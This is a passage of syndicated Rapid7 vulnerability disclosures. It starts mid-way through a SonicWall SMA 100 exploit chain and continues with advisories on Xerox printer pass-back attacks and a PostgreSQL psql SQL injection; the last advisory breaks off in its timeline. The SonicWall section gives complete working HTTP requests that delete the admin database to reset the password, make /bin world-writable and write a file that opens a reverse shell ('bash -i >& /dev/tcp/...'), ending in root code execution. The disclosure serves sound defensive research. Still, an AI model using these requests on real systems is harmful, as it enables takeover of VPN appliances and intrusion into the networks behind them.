GET /fileshare/sonicfiles/?User=admin&Pass=null&Domn=&RacNumber=44&Arg1=smb://192.168.200.1/test/&Arg2=null&swcctn=../usr/src/EasyAccess/www/python/authentication&timestamp=api/../../../../../../tmp/rootfile HTTP/1.1
Host: 192.168.181.150
Cookie: swap="MHo5dTZvQkNRcXhVWDVpMFo1MktCRGZmYkZjSE9CZm1FUU9QOWdUek5BZz0="; swcctn=JKUKl0KiKYX5Kf4nY7700B4lb5N7M1PD
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

With our console root shell, we can see that the root-owned /tmp/rootfile file has been deleted.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

This can be leveraged to delete the /etc/EasyAccess/var/conf/persist.db file, which is the primary web server SQLite database. When that happens, the system will reboot and reset the SMA administrator password to “password”. Based on known (private) IOCs and Rapid7 incident response investigations, we believe that this specific technique may have been used in the wild.

CVE-2025-32820

An authenticated attacker with user-level low privileges can inject a path traversal sequence to an arbitrary directory on the SMA appliance to make it world-writable. This can be chained with CVE-2025-32819 and CVE-2025-32821 to establish root-level remote code execution on the SMA research target running 10.2.1.14-75sv. Additionally, if a file path is provided, any existing file on the system can be overwritten with junk contents as root, creating a persistent denial of service condition.

Let’s investigate this now. In authentication_api/client/__init__.py, we observe authentication checks implemented in before_request ([G]).

@application.before_request
def before_request():
    logLevl = Logger.getLogLevel()
    application.logger.setLevel(logLevl)
    current_app.logger.info("{} {}".format(request.method, request.script_root + request.path))
    Authorize.authorization_check(request, current_app.logger, False) # [G]

This authorization_check function is similar to the one we previously looked at. However, this function is implemented in Python, within smaauthorize.py, instead of in a C shared library. Below, we can see this logic. The third parameter is called requireAdmin, and it defaults to True ([H]). In this case, though, the call within before_request explicitly states that low-privilege users should be allowed via the False parameter input. The authorization code queries the primary web SQLite database to determine whether the user’s swap session cookie exists in the database ([I]). If so, the request will succeed.

  @staticmethod
    def authorization_check(request, logger, requireAdmin = True): # [H]
        if (API_UNIT_TEST_MODE):
            return

        sessionId = request.cookies.get(AP_COOKIE_NAME)

        if (sessionId == None):
            logger.info("Login failed. No valid sessionId from cookie.")
            raise Unauthorized(AUTHORIZE_FAIL)

        temp_db_session = Session()
        sessionId_decoded = base64.b64decode(sessionId).decode()
        sslvpn_session = temp_db_session.query(SmaSession).filter(SmaSession.sessionId == sessionId_decoded).first() # [I]
        if (sslvpn_session == None):
            temp_db_session.close()
            logger.info("Login failed. No valid session. sessionId = {}, sessionId_decoded = {}".format(sessionId, sessionId_decoded))
            raise Unauthorized(AUTHORIZE_FAIL)

        # touch session
        sslvpn_session.activityTimestamp = int(time.time())
        temp_db_session.commit()
        temp_db_session.refresh(sslvpn_session)
        temp_db_session.close()

        # authorization check
        Authorize.sessionStatusCheck(logger, sslvpn_session)
        Authorize.userTypeCheck(logger, requireAdmin, sslvpn_session)
        Authorize.CSRFTokenCheck(logger, requireAdmin, sslvpn_session)

There are a few different API endpoints that can be reached as our low-privilege user. That list is depicted below:

clientApi.add_resource(NxDisconnectInfoResource, '/nxdisconnectinformation')
clientApi.add_resource(NxPostConnectionScriptResource, '/nxpostconnectionscript')
clientApi.add_resource(NxPostConnectionScriptFileResource, '/nxpostconnectionscript/file')
clientApi.add_resource(NxVersionResource, '/nxversion')
clientApi.add_resource(VpnParametersResource, '/vpnparameters')
clientApi.add_resource(SessionStatusResource, '/sessionstatus')
clientApi.add_resource(AlwaysOnResource, '/alwayson')
clientApi.add_resource(RecurringEpcProfileResource, '/recurringepcprofile')
clientApi.add_resource(BookmarkDetailListResource, '/bookmarkdetails')
clientApi.add_resource(ConnectionProxyResource, '/connectionproxy')
clientApi.add_resource(AdLogonScriptResource, '/adlogonscript')

The NxPostConnectionScriptFileResource endpoint sounds promising, since it deals with file operations. Within nxpostconnectionscript.py, we find the API endpoint logic for POST requests. A file input parameter called upfile is expected ([J]). A sanitized file name is extracted using secure_filename (to prevent path traversal) and assigned to the tmp_file variable ([K]). Then, the file contents are stored in tmp_file’s location. A file operation command is also executed using os.system, with the tmp_file argument sanitized using shlex.quote to prevent command injection ([L]).

This is all handled well. However, while the tmp_file path was created safely, the application later needs to reference just the file name without the prepended /tmp directory. In order to do so, it defines a new filePath variable by directly concatenating the unsanitized file.filename string with a different directory path ([M]). This is then wrapped in shlex.quote, appended to the string “chmod 777 ”, and executed using os.system ([N]). No command injection is possible, since the command string is appropriately escaped. Despite this, shlex.quote does not remove path traversal sequences, so a relative traversal file name can be supplied by the attacker to execute “chmod 777” as root on any path of the attacker’s choosing.

   @swagger.doc(postDocument)
    def post(self):
        post_reqparser = reqparse.RequestParser()
        post_reqparser.add_argument('upfile', required = True, type = FileStorage, location = 'files') # [J]
        args = post_reqparser.parse_args()

        [..SNIP..]

        # store file in /tmp for examination
        file = request.files['upfile']
        tmp_file = '/tmp/' + secure_filename(file.filename) # [K]
        file.save(tmp_file)

        fileSize = os.stat(tmp_file).st_size
        if (fileSize > smaApi.MAX_SCRIPT_FILE_LEN or fileSize == 0):
            cmd = "rm -rf {}".format(shlex.quote(tmp_file)) # [L]
            os.system(cmd)
            raise BadRequest(getMessage(API_ERR_CODE_CLIENT_FILE_SIZE_INVALID).format(int(smaApi.MAX_SCRIPT_FILE_LEN / 1024)))

        # check dir exists or not and if not create it
        if (not os.path.exists(smaApi.POST_SCRIPTS_DIR)):
            cmd = "mkdir {}; chmod 777 {}".format(shlex.quote(smaApi.POST_SCRIPTS_DIR), shlex.quote(smaApi.POST_SCRIPTS_DIR))
            os.system(cmd)
        
        if (not os.path.exists(smaApi.POST_SCRIPTS_DESC_DIR)):
            cmd = "mkdir {}; chmod 777 {}".format(shlex.quote(smaApi.POST_SCRIPTS_DESC_DIR), shlex.quote(smaApi.POST_SCRIPTS_DESC_DIR))
            os.system(cmd)

        # move file to its destination
        cmd = "mv {} {}".format(shlex.quote(tmp_file), shlex.quote(smaApi.POST_SCRIPTS_DIR))
        os.system(cmd)
        filePath = smaApi.POST_SCRIPTS_DIR + '/' + file.filename # [M]
        cmd = "chmod 777 {}".format(shlex.quote(filePath)) # [N]
        os.system(cmd)
[..SNIP..]

Exploitation

This is a niche primitive, since we do not control the command being executed. Fortunately, making any directory world-writable is exactly what we need to weaponize CVE-2025-32821, our arbitrary low-privilege file write as nobody. We’ll perform a web request to the vulnerable API endpoint as the lowpriv user. In that request, we’ll set upfile to a relative traversal sequence into /bin, which is on the root user’s PATH.

POST /__api__/v1/client/nxpostconnectionscript/file HTTP/1.1
Host: 192.168.181.150
Cookie: swap="MUZTMTExT29UVW1UZ0p2aURTQThWYzlLTmV3TEp3dGR5a0FzR3h6aEY2RT0="; swcctn=kg02nQOWI0JEdgI9OyK4i2EJyvP0Zfy0
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIpPybfdplJ1hIwzq
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Length: 213

------WebKitFormBoundaryIpPybfdplJ1hIwzq
Content-Disposition: form-data; name="upfile"; filename="../../../../../../../../../bin/"

01
------WebKitFormBoundaryIpPybfdplJ1hIwzq--

Our pspy monitor logs two commands being executed as root. The first command’s file path is sanitized using secure_filename, but the second is only sanitized using shlex.quote, resulting in a traversal to /bin.

CMD: UID=0     PID=15082  | sh -c mv /tmp/bin /usr/src/EasyAccess/var/conf/postscripts
CMD: UID=0     PID=15083  | sh -c chmod 777 /usr/src/EasyAccess/var/conf/postscripts/../../../../../../../../../bin/

Exploitation is confirmed with our console root shell, which shows that the /bin directory is now world-writable.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

CVE-2025-32821

An authenticated attacker with administrator privileges can inject shell command arguments with an escape sequence to upload a fully controlled file anywhere that the nobody user can write to. This can be chained with CVE-2025-32820 to establish root-level remote code execution on the SMA research target running 10.2.1.14-75sv. It’s also possible to copy existing files that the nobody user can read, such as /etc/passwd or the application’s SQLite database, to the web root directory for data exfiltration.

We’ll start by taking a look at the main function in /cgi-bin/importlogo.

After confirming the user is an authenticated administrator and the HTTP method is “POST”, the application checks for the presence of an integer parameter called updateFavicon ([O]). If this is set to “1”, and if the defaultFavicon parameter is “0”, the application will call FUN_0804a0f0 with the first argument set to a FILE pointer from the multipart form file parameter called favicon1 ([P]). After confirming some basic validation checks, such as file size, the FUN_0804a0f0 function will write the uploaded file to disk at /usr/src/EasyAccess/www/htdocs/themes/favicon1.ico. Next, the portalName POST parameter is fetched and passed through safeSystemCmdArg2 ([Q]). This is a security function that searches for command injection characters, such as $, \n, ;, |, <, >, ^, and `. If any of those characters are detected, the function will return a truncated string of the characters up to that point. Then, a format string is created with the sanitized portalName value to craft the shell command string cp -f /usr/src/EasyAccess/www/htdocs/themes/favicon1.ico /usr/src/EasyAccess/uiaddon/{portalName_VALUE}/favicon.ico ([R]) and the command is executed via system_s_quiet ([S]), which is a wrapper for system that runs in the context of nobody.

[..SNIP..]
  if (initCgi() < 0) {
    return -1;
  }

  getCookie("swap",cookieBuffer);

  initClientApi();
  cspInit();

  reqMethod = (char *)gcgiFetchEnvVar(4);
  uVar9 = dbhGet(0);

  sessionHandle = sessionGetAndRefresh(uVar9,cookieBuffer);

  if (sessionHandle == 0) {
    gcgiSendStatus(401);
    return 0;
  }
  respJson = cJSON_CreateObject();
  messageJsonArray = cJSON_CreateArray();

  if ((respJson == 0) || (messageJsonArray = 0)) {
    return 0;
  }

  maybeResult = userRolePermissionCheck(sessionHandle,reqMethod);
  if (maybeResult == 1) {
    pcVar5 = "You have no permission to view this page";

LAB_0804948a:
    addWarningMessage(messageJsonArray,"error",pcVar5);
  }
  else {
    if (maybeResult == 2) {
      pcVar5 = "Read-only administrator";
      goto LAB_0804948a;
    }

    if (maybeResult == 0) {
      maybeResult = strcmp(reqMethod,"POST");

      if (maybeResult != 0) goto LAB_080493e8;

      if (doCSRFTokenCheck(sessionHandle) != 1) {
        exit(-1);
      }

      setuid(0);
      setgid(0);
      seteuid(0);
      setegid(0);
      
      gcgiFetchInteger("updateFavicon",&updateFaviconFlag,0);
      
      if (updateFaviconFlag == 1) { // [O]
        maybeResult = gcgiFetchInteger("defaultFavicon",&useDefaultFavicon,0);
        bVar1 = nullptr;

        if (useDefaultFavicon == 0) {
          maybeResult = FUN_0804a0f0("favicon1","favicon1.ico",maybeResult); // [P]
          bVar1 = 0 < maybeResult;
        }

        maybeResult = gcgiFetchString("portalName",portalNameBuffer,0x80);

        if (maybeResult == 0) {
          if (useDefaultFavicon == 0) { 
            if (bVar1) {
              uVar9 = safeSystemCmdArg2(portalNameBuffer,"-"); // [Q]
              baseInstallDir = "/usr/src/EasyAccess";
              __snprintf_chk(pcVar5,0x180,1,0x180,
                             "cp -f %s/www/htdocs/themes/favicon1.ico %s/uiaddon/%s/favicon.ico",
                           "/usr/src/EasyAccess","/usr/src/EasyAccess",uVar9,"/usr/src/EasyAccess"
                            ); // [R]
              system_s_quiet(pcVar5); // [S]
[..SNIP..]

Note that the provided portal name is not validated as a legitimate web portal name at any point in the code path thus far–it’s checked against valid portal names if updateFavicon is not set. So, we don’t need to provide a valid portal name. Additionally, although the portal name is sanitized for command injection characters, it is not sanitized for path traversals, it is not URL encoded, and hash symbols are not truncated. As a result, an attacker can provide a portalName value with a traversal sequence to a different file path, followed by a space and a hash symbol to escape “/favicon.ico”.

The result is that the attacker can upload their own fully controlled file and exploit the limited command injection to write it with any file name they’d like to any directory that nobody can write to.

Exploitation

We can perform the web request depicted below to exploit this arbitrary file write.

POST /cgi-bin/importlogo HTTP/1.1
Host: 192.168.181.150
Cookie: ajaxUpdates=OFF; swap="NVlSSVc1MVdtb0syYWFybFdUdHFEcG9hRjZpMWlyaThlY0FmdlNQRlRhOD0="; swcctn=aXJANYBXJMy46YLSIApSwSoRIWkYRkR5
Content-Length: 554
Sec-Ch-Ua-Platform: "Windows"
X-Csrf-Token: aXJANYBXJMy46YLSIApSwSoRIWkYRkR5
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXOj6BtGNhEubdWvN
Origin: https://192.168.181.152
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.181.152/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="portalName"

../../../../../../usr/src/EasyAccess/www/htdocs/test.txt #
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="defaultFavicon"

0
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="updateFavicon"

1
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="favicon1"; filename="TESTING.gif"
Content-Type: image/gif

CONTENT
------WebKitFormBoundaryXOj6BtGNhEubdWvN--

Our pspy monitor logs the following command being executed as UID 99 (nobody).

2025/05/01 12:10:47 CMD: UID=99    PID=3243   | sh -c cp -f /usr/src/EasyAccess/www/htdocs/themes/favicon1.ico /usr/src/EasyAccess/uiaddon/../../../../../../usr/src/EasyAccess/www/htdocs/test.txt #/favicon.ico 2>/dev/null

As expected, the test.txt file has been written to the web root.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

We also note that the uploaded file has the executable bit set by default.

# ls -lha /usr/src/EasyAccess/www/htdocs/test.txt
-rwx------ 1 nobody nobody 7 May  1 12:10 /usr/src/EasyAccess/www/htdocs/test.txt

This detail is useful for exploitation, since it will facilitate easily writing an executable file to a directory on the root PATH for arbitrary remote code execution.

Chained Impact

The vulnerabilities disclosed in this document permit an attacker with SMA SSLVPN low-privilege user credentials to perform the following five steps:

  1. Exploit CVE-2025-32819 to delete the primary SQLite database and reset the password of the default SMA admin user.
  2. Login as admin to the SMA web interface.
  3. Exploit CVE-2025-32820 to make the SMA appliance’s /bin directory world-writable.
  4. Exploit CVE-2025-32821 to write the file /bin/lsb_release. This executable is not installed by default, but we observed that an automated job on the appliance routinely attempts to execute it as root every few minutes.
  5. Wait for sh -c lsb_release to be executed automatically. When this happens, the attacker gains root-level remote code execution on the SMA device.

Demonstration

We’ll start by grabbing our low-privilege user’s cookies in our “assumed breach” scenario. This cookie string is swap="ZHNZZThVdlJzWHY1MkpWTDM0akFjbG9XWFgyd29Hdk1yVEtPZWdzSnJlbz0="; swcctn=LEj9kOzEjYibGOSEW9YE8ElgWwiOgigN.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

Now, let’s reset the administrator’s password by exploiting CVE-2025-32819 and deleting the primary SQLite database. The SMA returns a 200 status with no body.

GET /fileshare/sonicfiles/?User=admin&Pass=null&Domn=&RacNumber=44&Arg1=smb://192.168.200.1/test/&Arg2=null&swcctn=../usr/src/EasyAccess/www/python/authentication&timestamp=api/../../../../../../usr/src/EasyAccess/var/conf/persist.db HTTP/1.1
Host: 192.168.181.150
Cookie: swap="ZHNZZThVdlJzWHY1MkpWTDM0akFjbG9XWFgyd29Hdk1yVEtPZWdzSnJlbz0="; swcctn=LEj9kOzEjYibGOSEW9YE8ElgWwiOgigN
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

Refreshing the web page confirms it worked, though the application is not thrilled with our decision.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

After a few seconds, the watchdog has had enough and the device is rebooted. When we refresh the page a couple of minutes later, things are looking as good as new.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

After logging in using the credentials admin:password, we’re greeted with an end user product agreement, indicating that the device has been initialized.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

We’ll input a free trial license key to get the device back in a functional state, though a real attacker would probably use a stolen one. Next, we’ll use our CVE-2025-32820 PoC to make /bin writable. The server should return a 500 error with the message “Failed to create description file.”

POST /__api__/v1/client/nxpostconnectionscript/file HTTP/1.1
Host: 192.168.181.150
Cookie: swap="amZEMjA1cVYwNXRzWDFmcDgzcVhEb3NNM2hFMHE4a0FTOFZTQTlDeE1kaz0="; swcctn=bGhJ8EJ9GMmKG7d3MggEEgd8R59gyFSv
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIpPybfdplJ1hIwzq
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Length: 181

------WebKitFormBoundaryIpPybfdplJ1hIwzq
Content-Disposition: form-data; name="upfile"; filename="../../../../../../../../../bin/"

01
------WebKitFormBoundaryIpPybfdplJ1hIwzq--

Lastly, we’ll set our sights on remote code execution as root by exploiting CVE-2025-32821. We throw the reverse shell PoC below at our victim and it responds with a 200 code and “success” in the body. Note that a hash symbol is also appended to our executable file contents; this is added because the file write occasionally seems to append a junk character to our command, though it doesn’t happen every time. In order to avoid any unexpected additions, we escape the rest of the line.

POST /cgi-bin/importlogo HTTP/1.1
Host: 192.168.181.150
Cookie: swap="amZEMjA1cVYwNXRzWDFmcDgzcVhEb3NNM2hFMHE4a0FTOFZTQTlDeE1kaz0="; swcctn=bGhJ8EJ9GMmKG7d3MggEEgd8R59gyFSv
Content-Length: 567
Sec-Ch-Ua-Platform: "Windows"
X-Csrf-Token: bGhJ8EJ9GMmKG7d3MggEEgd8R59gyFSv
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXOj6BtGNhEubdWvN
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="portalName"

../../../../../../bin/lsb_release #
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="defaultFavicon"

0
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="updateFavicon"

1
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="favicon1"; filename="TESTING.gif"
Content-Type: image/gif

bash -i >& /dev/tcp/192.168.181.129/4242 0>&1 #
------WebKitFormBoundaryXOj6BtGNhEubdWvN--

One minute later, our reverse shell arrives and root-level remote code execution is confirmed.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

Disclosure timeline

  • May 2, 2025: Rapid7 shares vulnerability details with SonicWall security contacts. The SonicWall team acknowledges the disclosure 30 minutes later and confirms that patch development work will begin.
  • May 4, 2025: The SonicWall security team states that a fixed build will be shared on May 5 for patch validation.
  • May 5, 2025: The SonicWall security team shares the 10.2.1.15 build with Rapid7. The Rapid7 team validates that the patch is effective.
  • May 6, 2025: The SonicWall security team states that the patch will be targeting a May 7 release date.
  • May 7, 2025: SonicWall releases v10.2.1.15 and publishes a security advisory. After confirming the patch is generally available, Rapid7 publishes this disclosure.

Xerox Versalink C7025 Multifunction Printer: Pass-Back Attack Vulnerabilities (FIXED)

Post Syndicated from Deral Heiland original https://blog.rapid7.com/2025/02/14/xerox-versalink-c7025-multifunction-printer-pass-back-attack-vulnerabilities-fixed/

Xerox Versalink C7025 Multifunction Printer: Pass-Back Attack Vulnerabilities (FIXED)

During security testing, Rapid7 discovered that Xerox Versalink C7025 Multifunction printers (MFPs) were vulnerable to pass-back attacks. The affected products identified were:

  • Xerox Versalink MFPs
  • Firmware Version: 57.69.91 and earlier

This issue has been assigned the following CVEs:

  • CVE-2024-12510: LDAP pass-back vulnerability
  • CVE-2024-12511: SMB / FTP pass-back vulnerability

Product description

The Xerox Versalink C7025 Multifunction printer (MFP) is an all-in-one enterprise color printer designed to deliver print, copy, scan, fax, and email capabilities for enterprise business environments.

Credit

The pass-back vulnerabilities in the Xerox Versalink MFPs were discovered by Deral Heiland, Principal IoT Researcher at Rapid7. After coordination with the vendor, this disclosure is being published in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation and remediation

This section details the potential for exploitation and remediation guidance for the issues discovered and reported by Rapid7, so that producers of this technology can gauge the impact of these issues appropriately and develop mitigations.

While examining the Xerox Versalink C7025, Rapid7 found that the Versalink MFP device was vulnerable to a pass-back attack. This pass-back style attack leverages a vulnerability that allows a malicious actor to alter the MFP’s configuration and cause the MFP device to send authentication credentials back to the malicious actor. This style of attack can be used to capture authentication data for the following configured services:

  • LDAP
  • SMB
  • FTP

Pass-back attack via LDAP (CVE-2024-12510)

If a malicious actor gains access to the Lightweight Directory Access Protocol (LDAP) configuration page and the LDAP services are configured for authentication, the malicious actor can then reconfigure the LDAP service’s IP address (Figure 1) and trigger an LDAP lookup on the LDAP User Mappings page (Figure 2) to authenticate against an attacker-controlled rogue system rather than the expected server.

Xerox Versalink C7025 Multifunction Printer: Pass-Back Attack Vulnerabilities (FIXED)

Xerox Versalink C7025 Multifunction Printer: Pass-Back Attack Vulnerabilities (FIXED)

By running a port listener on a host that the malicious actor controls, they are then able to capture the clear text LDAP service credentials as shown below in Figure 3. This attack requires access to the MFP printer admin account, and LDAP services must have been configured for normal operation to a valid LDAP server.
Xerox Versalink C7025 Multifunction Printer: Pass-Back Attack Vulnerabilities (FIXED)

Pass-back attack via user’s address book – SMB / FTP (CVE-2024-12511)

This attack allows a malicious actor to gain access to the user address book configuration to modify the SMB or FTP server’s IP address (Figure 4) and point the IP address to a host they control, potentially triggering a scan to file and capture the SMB or FTP authentication credentials.

Xerox Versalink C7025 Multifunction Printer: Pass-Back Attack Vulnerabilities (FIXED)

This attack allows a malicious actor to capture NetNTLMV2 handshakes or leverage the vulnerability in an SMB relay attack against Active Directory file servers. An example of capturing NetNTLMV2 handshake using the Metasploit capture/smb auxiliary module is shown below in Figure 5. In the case of FTP, the malicious actor would be able to capture clear text FTP authentication credentials.

Xerox Versalink C7025 Multifunction Printer: Pass-Back Attack Vulnerabilities (FIXED)

For this attack to be successful, the attacker requires an SMB or FTP scan function to be configured within the user’s address book, as well as physical access to the printer console or access to remote-control console via the web interface (Figure 6). This may require admin access unless user level access to the remote-control console has been enabled.

Xerox Versalink C7025 Multifunction Printer: Pass-Back Attack Vulnerabilities (FIXED)

Impact

If a malicious actor can successfully leverage these issues, it would allow them to capture credentials for Windows Active Directory. This means they could then move laterally within an organization’s environment and compromise other critical Windows servers and file systems.

Remediation guidance

Organizations leveraging Xerox Versalink MFP devices should upgrade to the latest patched version of the firmware to fix this issue. Additional details are available in the vendor advisory.

If patching the MFP devices cannot be done at this time, it is highly recommended to set a complex password for the admin account and also avoid using Windows authentication accounts that have elevated privileges, such as a domain admin account for LDAP or scan-to-file SMB services. Also, organizations should avoid enabling the remote-control console for unauthenticated users.

Disclosure timeline

March 26, 2024: Rapid7 contacts vendor to disclose vulnerabilities.
March 27, 2024 – April 11, 2024: Vendor acknowledges receipt of disclosure request; Rapid7 shares vulnerability details. Vendor confirms receipt of disclosure write up and assigns internal case number.
April 19, 2024 – June 11, 2024: Rapid7 requests input on patch ETA and coordinated disclosure date. Vendor requests additional time to determine patch and disclosure timeline; Rapid7 agrees.
July 23, 2024: Rapid7 requests an update on patch ETA and disclosure date.
July 31, 2024 – August 5, 2024: Vendor and Rapid7 agree on a coordinated disclosure date; Rapid7 agrees to test patches once available.
September 3, 2024: Extension requested.
September 26, 2024 – October 4, 2024: Rapid7 requests update. Vendor requests additional time to prepare update.
November 13 – 27, 2024: Rapid7 requests updates.
November 30, 2024 – December 6, 2024: Disclosure extended to January 2025.
December 11 – 30, 2025: Vendor provides CVE IDs and updates.
January 6 – 7, 2025: Vendor provides updates.
January 16, 2025: Disclosure extended to end of January.
January 24 – 27, 2025: Rapid7 requests confirmation on disclosure timeline. Vendor indicates patches are in testing and they will provide Rapid7 an update on progress later in the week.
January 29 – 31, 2025: Vendor indicates patches are generally available, requests that Rapid7 confirm fixes resolved the issue. Rapid7 tests firmware releases, confirms they resolve the vulnerabilities.
February 3, 2025: Vendor indicates advisories are available; Rapid7 notes that reciprocal disclosure will be delayed.
February 14, 2025: This disclosure.

CVE-2025-1094: PostgreSQL psql SQL injection (FIXED)

Post Syndicated from Stephen Fewer original https://blog.rapid7.com/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/

CVE-2025-1094: PostgreSQL psql SQL injection (FIXED)

Rapid7 discovered a high-severity SQL injection vulnerability, CVE-2025-1094, affecting the PostgreSQL interactive tool psql. This discovery was made while Rapid7 was performing research into the recent exploitation of CVE-2024-12356 — an unauthenticated remote code execution (RCE) vulnerability that affects both BeyondTrust Privileged Remote Access (PRA) and BeyondTrust Remote Support (RS). Rapid7 discovered that in every scenario we tested, a successful exploit for CVE-2024-12356 had to include exploitation of CVE-2025-1094 in order to achieve remote code execution. While CVE-2024-12356 was patched by BeyondTrust in December 2024, and this patch successfully blocks exploitation of both CVE-2024-12356 and CVE-2025-1094, the patch did not address the root cause of CVE-2025-1094, which remained a zero-day until Rapid7 discovered and reported it to PostgreSQL.

All supported versions before PostgreSQL 17.3, 16.7, 15.11, 14.16, and 13.19 are affected. CVE-2025-1094 has a CVSS 3.1 base score of 8.1 (High). More information is available in the PostgreSQL advisory.

Impact

CVE-2025-1094 arises from an incorrect assumption that when attacker-controlled untrusted input has been safely escaped via PostgreSQL’s string escaping routines, it cannot be leveraged to generate a successful SQL injection attack. Rapid7 found that SQL injection is, in fact, still possible in a certain scenario when escaped untrusted input is included as part of a SQL statement executed by the interactive psql tool.

Because of how PostgreSQL string escaping routines handle invalid UTF-8 characters, in combination with how invalid byte sequences within the invalid UTF-8 characters are processed by psql, an attacker can leverage CVE-2025-1094 to generate a SQL injection.

An attacker who can generate a SQL injection via CVE-2025-1094 can then achieve arbitrary code execution (ACE) by leveraging the interactive tool’s ability to run meta-commands. Meta-commands extend the interactive tools functionality, by providing a wide variety of additional operations that the interactive tool can perform. The meta-command, identified by the exclamation mark symbol, allows for an operating system shell command to be executed. An attacker can leverage CVE-2025-1094 to perform this meta-command, thus controlling the operating system shell command that is executed.

Alternatively, an attacker who can generate a SQL injection via CVE-2025-1094 can execute arbitrary attacker-controlled SQL statements.

Credit

This vulnerability was discovered by Stephen Fewer, Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Analysis

A technical analysis of CVE-2025-1094, as it relates to the exploitation of the BeyondTrust vulnerability CVE-2024-12356, is available in AttackerKB.

A Metasploit exploit module that exploits CVE-2025-1094 against a vulnerable BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) target is available here.

Vendor Statement

The PostgreSQL Global Development Group provides information on security vulnerability reporting, releases processes, and known vulnerability fixes at https://www.postgresql.org/support/security/.

Remediation

To remediate CVE-2025-1094, PostgreSQL users should upgrade to PostgreSQL 17.3, 16.7, 15.11, 14.16, or 13.19. For additional details, please see the PostgreSQL advisory.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2025-1094 with an authenticated vulnerability check expected to be available in today’s (February 13) content release.

For CVE-2024-12356 affecting BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) products, InsightVM and Nexpose customers have been able to assess exposure with authenticated checks for Windows systems (Scan Engine only checks) as of the February 10, 2025 content release.

Disclosure timeline

  • January 27, 2025: Rapid7 makes initial contact with the PostgreSQL security team and discloses vulnerability details.
